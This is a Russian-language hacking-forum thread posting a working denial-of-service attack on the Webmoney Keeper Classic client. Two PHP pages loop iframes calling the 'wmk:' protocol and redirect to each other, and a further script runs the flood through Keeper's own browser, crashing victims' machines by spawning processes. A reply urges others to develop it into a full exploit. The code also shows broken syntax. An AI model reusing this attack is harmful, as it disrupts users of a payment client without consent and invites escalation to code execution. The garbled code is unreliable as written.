Webmoney Keeper Classic (3.6.0.6) DоS

Discussion in 'Безопасность и Анонимность' started by brain[pillow], 2 Feb 2009.

  1. brain[pillow]

    brain[pillow] Active Member

    Joined:
    7 Nov 2008
    Messages:
    7
    Likes Received:
    103
    Reputations:
    74
    Нашёл как вогнать клиент от Webmoney в DOS. Исполнение вообще очень напоминает олдскульные сплоенты под IE. Должно работать под IE и FF. Ну и надо быть залогиненым в кипере.

    Итак, создаём две страницы:

    index.php

    PHP:
    <?php
    for($i=0$i!=10$i++) echo <iframe src=”wmk:display?window=about”></iframe><iframe src=”wmk:exit?BringToFront=n”></iframe>;
    ?>
    <iframe src=”wmk:exit?BringToFront=Y”></iframe>
    <script>document.location.href=”http://_ваш_саент_/index2.php”;</script>

    index2.php

    PHP:
    <?php
    for($i=0$i!=10$i++) echo <iframe src=”wmk:display?window=about”></iframe><iframe src=”wmk:exit?BringToFront=n”></iframe>;
    ?>
    <iframe src=”wmk:exit?BringToFront=Y”></iframe>
    <script>document.location.href=”http://_ваш_саент_/index.php”;</script>
    Ну и всё, натравливаем на индекс или делаем вот так ещё в какой-нибудь третьей страничке (тогда распространителем кучи окон будет не IE/FF, а встроенная просматривалка Webmoney):

    PHP:
    <script>document.location.href=”wmk:explore?url=javascript:document.location.href=”http://_ваш_саент_/index.php”&BRINGTOFRONT=Y&title=let the horror begin”;</script>
    Создаётся дофига вебманевских процессов, жрущих память. Есть там BOF, или нет - я не в курсе, ибо с реверсингом не знаком. Поэтому создал топик для обсуждений - вдруг что-то более полезное можно из этого выжать. Так же неплохо было бы проверить на новых версиях.

    Также в FF нужно чтобы пользователь уже до этого проходил по псевдопротокольным ссылкам вида "wmk:" и оставил там галочку "запомнить выбор и больше не спаршивать".

    (c) brain[pillow]
    http://brainpillow.cc/2009/02/webmoney-keeper-classic-3606-dos/
     
    #1 brain[pillow], 2 Feb 2009
    Last edited: 2 Feb 2009
    2 people like this.
  2. brain[pillow]

    brain[pillow] Active Member

    Joined:
    7 Nov 2008
    Messages:
    7
    Likes Received:
    103
    Reputations:
    74
    Где реверсеры? Неужели никому не интересно? Ведь есть вероятность написать эксплоит к киперу, неужто никто не неходит эту идею заманчивой?
     
  3. AkeLLa

    AkeLLa Banned

    Joined:
    30 Aug 2008
    Messages:
    133
    Likes Received:
    243
    Reputations:
    1
    Молодец.